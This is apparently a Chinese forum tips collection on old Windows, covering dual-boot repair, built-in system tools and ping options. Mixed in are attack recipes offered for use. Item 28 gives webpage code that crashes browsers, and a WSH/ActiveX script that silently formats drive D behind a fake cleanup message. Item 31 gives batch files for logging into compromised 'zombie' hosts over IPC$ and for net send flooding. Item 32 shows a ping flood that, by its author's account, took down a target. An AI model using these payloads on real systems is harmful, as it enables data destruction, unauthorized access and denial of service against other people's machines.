×××××××××××××××××××××××××××××××××××××××××××××
27）关于双系统的两个问题：
A、如何在双系统（98、2000）中安全删除2K？
先制作一张Windows 98 的启动软盘，再用它启动你的计算机，运行sys命令恢复Windows 98引导记录后，再运行fdisk/mbr恢复主引导记录，完成后进入Windows 98，把winnt 和system volumn information 目录删除，再删掉C盘上的boot.ini、bootfont.bin、ntldr、nydetect.com、bootsect.dos文件就行了。
B、 Windows 98/XP双系统启动菜单修复
1.修复前，在BIOS中设置从光驱启动。用Windows XP安装盘启动电脑，在加载必要的驱动后，出现Windows XP的安装界面。有三个选项：
（1）要现在开始安装Windows XP，请按“Enter”键。
（2）要用“恢复控制台”修复Windows XP安装，按“R”键。
（3）要退出安装程序，不安装Windows XP，按“F3”键；
2. 按“R”键，进入“Microsoft Windows XP (TM) 故障恢复控制台”界面；故障恢复控制台提供系统修复和故障恢复功能。系统这时会搜寻已安装的Windows XP系统文件，然后显示搜寻结果，并询问“要登录到哪个Windows XP安装（要取消，请按Enter）”，选择1. D:\Windows，回车，系统会再询问“管理员密码”，再键入安装Windows XP时设置的管理员密码，回车，出现D:\Windows〉，这时需要输入修复命令Fixboot，后面的参数为启动扇区要写入的磁盘盘符，这里填入C:，回车。修复完成，键入Exit退出。重启后就会看到久违的双重启动菜单了。并且，这样修复后基本不产生垃圾文件。
因为这两个问题是非常非常普遍的，所以我就收集到这里了～
×××××××××××××××××××××××××××××××××××××××××××××
28）这里说几个主页恶意代码：『并不是让大家把这些代码加入到自己的主页中！只是希望大家能了解恶意代码，起到更好的防护作用！』
A、死循环代码：
『把下列代码加入到网页中，可达到如上效果』
<img src=javascript:location=“网页的文件名.htm:”>
说明：当含有这段代码的网页被人点击，连接就会不断的打开IE浏览器，直到你的系统资源浪费到0％～只有重新启动才能正常使用！
预防方法：禁用所有的ActiveX控件和插件！因为这是一个ActiveX教本程序～
B、恐怖的大图片：
『把下列代码加入到网页中，可达到如上效果』
<img src= "http://恐怖图片的连接地址" width= "1" height= "100000000000000000000000">
说明：当打开这样的网页，IE会不断的解释试图打开，但由于图片实在太大，超出了其处理能力，所以……
C、地震死机代码：
『把下列代码加入到网页中，可达到如上效果』
<script>
if (window.top.moveBy){
for (i = 1;i < 50; i++){
for (j = 3;j > 0; j--){
window.top.moveBy(0,i);
window.top.moveBy(i,0);
window.top.moveBy(0,-i*2);
window.top.moveBy(-i*2,0);
window.top.moveBy(0,i);
window.top.moveBy(i,0);
}
}
}
</script>
<img src="c:\con\con">
说明：<img src="c:\con\con">是windows9x的设备名称解析漏洞！
WINDOWS9x的\con\con设备名称解析漏洞允许用户进行攻击，倒是98死机。原理：我们知道，CON是DOS下的特殊设备名，不允许做文件名，如果我们在DOS下键入如下命令：copy coldcrysky.txt con，系统会显示coldcrysky.txt的内容，如果换成：copy coldcrysky.txt>con系统会提示文件不能拷贝到文件自身。如果吧con换成LPT或PRN，则输出coldcrysky.txt到打印机。由此可见，CON代表文件本身，如果使用\CON\CON命令，则意味着系统不断调用文件本身，视系统资源迅速枯竭，连按CTRL+ALT+DEL的机会都没有～
解决办法：
对于9X系统，强烈建议打补丁！！！2000和XP则不会死机～
D、格式化硬盘：（最恐怖的～～～慎用！！！请勿用于非法用途！！！使用后如果有任何负作用，后果自负！与伤寒天空『ColdCrySky』；乱刀留影无关！！！）
scr,Reset();
scr.Path="C:\\WINDOWS\\StartMenu\\Programs\\启动\\startup.htm";
scr.Doc="<object id='wsh' classid='clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B'>"
WSH.rUN('start/m format.com d:/q/autotest/u');
alert('IMPORTANT : Windows is removing unused temporary files.');
scr.write();
说明：当您浏览了网页，会把startup.hta文件写入启动文件夹，并提示WINDOWS正在删除临时文件！实际上是在格式化你的D盘，代码中的：F935DC22-1CF0-11D0-ADB9-00C04FD58A0B对应为：Windows Scripting Host Shell Object。代码中的：WSH全称是：Windows Scripting Host，是微软的一种基于32位系统平台与语言无关的教本解释机制，它使得脚本能在WINDOWS桌面或命令提示符下运行～WSH所对应的程序WScript.exe是一个脚本语言解释器，位于WINDOWS所在文件夹下，所以它可以像执行批处理文件一样执行WSH脚本程序～
解决方法：1）更新您的浏览器，使用最新的浏览器上网！
2）修改msdos.sys，在其中加入：Bootmentu=0命令行，目的是禁用启动菜单。
3）吧format.com改名
4）禁用WSH。具体方法：在win98中，从添加删除程序中点击WINDOWS安装程序，打开附件一项，将WINDOWS SCRIPTING HOST前面的选项去掉，就可以卸载掉WSH了～～～win2000和xp的用户可以在我的电脑-工具菜单-文件夹选项-选择文件类型，找到VBS VBSCRIPT FILE选项，点击删除！
×××××××××××××××××××××××××××××××××××××××××××××
29）系统自带的系统工具
其实无论大家从什么地方，什么方法找到一些好用的工具，都不如Windows自带的工具用着方便（假设你区的地方正好不能上网，而你又没有准备好这些工具，那怎么办？呵呵，不用着急，用好下面几个Windows自带的小工具，可以使你事半功倍！）
1、msinfo32.exe
位于C:\Program Files\Common Files
Microsoft Shared\Msinfo\msinfo32.exe，显示计算机中的有关系统信息，可用其诊断、解决计算机问题并查看远程系统所生成的系统报告。
2、drwatson.exe --这个工具给我特别的亲密感觉：第一次使用这个工具是在看了LK007大哥给cool兄弟的回复以后，我马上试验～果然很有意思！LK007不愧是大哥！现在想起来都佩服不已~~~
位于C: \Windows \drwatson.exe，当某个应用程序在运行过程中出错时，它就会将出错的程序以及出错的内存地址一一记录下来，并保存为Windows的Drwatson子目录下的*.wlg记录文件。
3、sfc.exe
位于C:\Windows\System\sfc.exe，用于自动搜索被改变、删除或损坏了的系统文件。
4、msconfig.exe
位于C:\Windows\System\msconfig.exe，通过修改启动方式以及启动时运行哪些应用程序等系统配置，从而达到快速排除故障的目的。
5、scanreg.exe
位于C:\windows\command\scanreg.exe（DOS版本）及C:\windows\scanregw.exe（Windows版本），用于检查、修复、备份以及还原系统注册表及相关配置文件的工具软件，防止因注册表数据被破坏而导致的系统故障。
6、vcmui.exe
位于C:\Windows\vcmui.exe，在后台自动将被覆盖的驱动程序备份下来，当我们安装的新驱动出错时可用它进行恢复。
7、winrep.exe
位于C:\Windows\winrep.exe，能自动收集有关系统信息并提示用户输入故障所在，帮我们编写一篇完整的“求援”报告，并将其发送给有关技术维护人员，简化“求援”操作。
这七个Windows自带的小程序可以在开始菜单--运行中直接输入文件名（无需输入扩展名）调出该程序！
×××××××××××××××××××××××××××××××××××××××××××××
30）这两天始终有朋友问我如何在98下关闭自己的某一个端口
呵呵，解释了半天也没解释清楚，干脆做了个动画教程。。。可是那位朋友看完后仍然说看不懂。。。唉~~~或许我做动画教程的水平都不行么？？？这里把地址帖出来，感兴趣的朋友可以下载看看~~~为了考虑动画教程的大家小关系，画质不是很清晰，大家凑合看吧~~~明白道理就可以了！这是最最最基础的东西了！也是最最最简单的了~~~关闭端口有很多种方法，这里我只演示了一种！另外，根据动画教程，大家可以自己试试做一个能显示好友IP的QQ（开动一下脑筋！过几天我告诉大家怎么制作！^_^）
下载地址：http://dahubaobao1@dahubaobao1.3322.net/pingbiduankou.rar
×××××××××××××××××××××××××××××××××××××××××××××
31）批处理在入侵中的几则妙用！
A、简化IPC$登陆肉鸡的操作：
用记事本建立一个名字为：ipcruqin.bat的批处理文件，内容如下：
@net use \\%1\ipc$ %3 /u:"%2"
@echo OK！已经成功建立连接
之后，大家在CMD下输入：ipcruqin.bat 肉鸡IP 肉鸡的admin帐号/用户的密码。就可以登陆上去了，而不需要那一大长串的命令了！
B、批处理轰炸对方电脑：
打开一记事本，在里面输入如下内容：
@echo 正在轰炸中……
:start
@net send %1 %2
@if errorlevel 1 goto over
goto start
:over
@echo 发送失败
将其保存为bat格式的文件即可，使用方法：*.bat（该批处理文件的名字）+ 空格 + 目标IP + 空格 + 你要对他说得话！
这次先简单介绍这三个！等下次有机会再给大家介绍更多的批处理文件的用途！
×××××××××××××××××××××××××××××××××××××××××××××
32）再说几个非常简单实用的DOS命令（工具）：
A、fport.exe --查看那些端口都是那些程序使用的命令。
B、netstat -an --查看那些端口于外部的IP连接。比如这里显示 ：23 XX.XX.XX.XX 而你又没有开23端口，那么，呵呵……还用我说么？
C、letmain.exe \\ip -admin -d --列出本机的administrators组的用户名查看是否有异常。
D、pslist.exe --列出进程
E、pskill.exe --杀掉进程，有时候再任务管理器中无法终止程序，那就用这个工具来停止进程。
F、login.exe --列出当前有那些用户登陆再你的机器上。
ping命令详解
ping [-t] [-a] [-n count] [-l length] [-f] [-i ttl] [-v tos] [-r count] [-s count] [[-j computer-list] | [-k computer-list]] [-w timeout] destination-list
Options:
-t Ping the specified host until stopped.To see statistics and continue - type Control-Break;To stop - type Control-C.
不停的ping地方主机，直到你按下Control-C。
此功能没有什么特别的技巧，不过可以配合其他参数使用，将在下面提到。
-a Resolve addresses to hostnames.
解析计算机NetBios名。
示例：C:＼>ping -a 192.168.1.21
Pinging iceblood.yofor.com [192.168.1.21] with 32 bytes of data:
Reply from 192.168.1.21: bytes=32 time<10ms TTL=254
Reply from 192.168.1.21: bytes=32 time<10ms TTL=254
Reply from 192.168.1.21: bytes=32 time<10ms TTL=254
Reply from 192.168.1.21: bytes=32 time<10ms TTL=254
Ping statistics for 192.168.1.21:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),Approximate round trip times in milli-seconds:
Minimum = 0ms, Maximum = 0ms, Average = 0ms
从上面就可以知道IP为192.168.1.21的计算机NetBios名为iceblood.yofor.com。
-n count Number of echo requests to send.
发送count指定的Echo数据包数。
在默认情况下，一般都只发送四个数据包，通过这个命令可以自己定义发送的个数，对衡量网络速度很有帮助，比如我想测试发送50个数据包的返回的平均时间为多少，最快时间为多少，最慢时间为多少就可以通过以下获知：
C:＼>ping -n 50 202.103.96.68
Pinging 202.103.96.68 with 32 bytes of data:
Reply from 202.103.96.68: bytes=32 time=50ms TTL=241
Reply from 202.103.96.68: bytes=32 time=50ms TTL=241
Reply from 202.103.96.68: bytes=32 time=50ms TTL=241
Request timed out.
………………
Reply from 202.103.96.68: bytes=32 time=50ms TTL=241
Reply from 202.103.96.68: bytes=32 time=50ms TTL=241
Ping statistics for 202.103.96.68:
Packets: Sent = 50, Received = 48, Lost = 2 (4% loss),Approximate round trip times in milli-seconds:
Minimum = 40ms, Maximum = 51ms, Average = 46ms
从以上我就可以知道在给202.103.96.68发送50个数据包的过程当中，返回了48个，其中有两个由于未知原因丢失，这48个数据包当中返回速度最快为40ms，最慢为51ms，平均速度为46ms。
-l size Send buffer size.
定义echo数据包大小。
在默认的情况下windows的ping发送的数据包大小为32byt，我们也可以自己定义它的大小，但有一个大小的限制，就是最大只能发送65500byt，也许有人会问为什么要限制到65500byt，因为Windows系列的系统都有一个安全漏洞（也许还包括其他系统）就是当向对方一次发送的数据包大于或等于65532时，对方就很有可能挡机，所以微软公司为了解决这一安全漏洞于是限制了ping的数据包大小。虽然微软公司已经做了此限制，但这个参数配合其他参数以后危害依然非常强大，比如我们就可以通过配合-t参数来实现一个带有攻击性的命令：（以下介绍带有危险性，仅用于试验，请勿轻易施于别人机器上，否则后果自负）
C:＼>ping -l 65500 -t 192.168.1.21
Pinging 192.168.1.21 with 65500 bytes of data:
Reply from 192.168.1.21: bytes=65500 time<10ms TTL=254
Reply from 192.168.1.21: bytes=65500 time<10ms TTL=254
………………
这样它就会不停的向192.168.1.21计算机发送大小为65500byt的数据包，如果你只有一台计算机也许没有什么效果，但如果有很多计算机那么就可以使对方完全瘫痪，我曾经就做过这样的试验，当我同时使用10台以上计算机ping一台Win2000Pro系统的计算机时，不到5分钟对方的网络就已经完全瘫痪，网络严重堵塞，HTTP和FTP服务完全停止，由此可见威力非同小可。
-f Set Don't Fragment flag in packet.
在数据包中发送“不要分段”标志。
在一般你所发送的数据包都会通过路由分段再发送给对方，加上此参数以后路由就不会再分段处理。
-i TTL Time To Live.
指定TTL值在对方的系统里停留的时间。
此参数同样是帮助你检查网络运转情况的。
-v TOS Type Of Service.
将“服务类型”字段设置为 tos 指定的值。
-r count Record route for count hops.
在“记录路由”字段中记录传出和返回数据包的路由。
在一般情况下你发送的数据包是通过一个个路由才到达对方的，但到底是经过了哪些路由呢？通过此参数就可以设定你想探测经过的路由的个数，不过限制在了9个，也就是说你只能跟踪到9个路由，如果想探测更多，可以通过其他命令实现，我将在以后的文章中给大家讲解。以下为示例：
C:＼>ping -n 1 -r 9 202.96.105.101 （发送一个数据包，最多记录9个路由）
Pinging 202.96.105.101 with 32 bytes of data:
Reply from 202.96.105.101: bytes=32 time=10ms TTL=249
Route: 202.107.208.187 ->
202.107.210.214 ->
61.153.112.70 ->
61.153.112.89 ->
202.96.105.149 ->
202.96.105.97 ->
202.96.105.101 ->
202.96.105.150 ->
61.153.112.90
Ping statistics for 202.96.105.101:
Packets: Sent = 1, Received = 1, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 10ms, Maximum = 10ms, Average = 10ms
从上面我就可以知道从我的计算机到202.96.105.101一共通过了202.107.208.187 ，202.107.210.214 , 61.153.112.70 , 61.153.112.89 , 202.96.105.149 , 202.96.105.97这几个路由。
-s count Timestamp for count hops.
指定 count 指定的跃点数的时间戳。
此参数和-r差不多，只是这个参数不记录数据包返回所经过的路由，最多也只记录4个。
-j host-list Loose source route along host-list.
利用 computer-list 指定的计算机列表路由数据包。连续计算机可以被中间网关分隔（路由稀疏源）IP 允许的最大数量为 9。
-k host-list Strict source route along host-list.
利用 computer-list 指定的计算机列表路由数据包。连续计算机不能被中间网关分隔（路由严格源）IP 允许的最大数量为 9。
-w timeout Timeout in milliseconds to wait for each reply.
指定超时间隔，单位为毫秒。
此参数没有什么其他技巧。
ping命令的其他技巧：在一般情况下还可以通过ping对方让对方返回给你的TTL值大小，粗略的判断目标主机的系统类型是Windows系列还是UNIX/Linux系列，一般情况下Windows系列的系统返回的TTL值在100-130之间，而UNIX/Linux系列的系统返回的TTL值在240-255之间，当然TTL的值在对方的主机里是可以修改的，Windows系列的系统可以通过修改注册表以下键值实现：
[HKEY_LOCAL_MACHINE＼SYSTEM＼CurrentControlSet＼Services＼Tcpip＼Parameters]
"DefaultTTL"=dword:000000ff
255---FF
128---80
64----40
32----20
好了，ping命令也基本上完全讲解完了，其中还有-j,-k参数我还没有详细说明，由于某些原因也包括我自己所收集的资料过少这里也没有向大家详细介绍，请大家见谅，如果在看了这篇文章的朋友当中有知道得比我更多的，以及其他使用技巧的也希望您能告诉我，并在此先谢过。
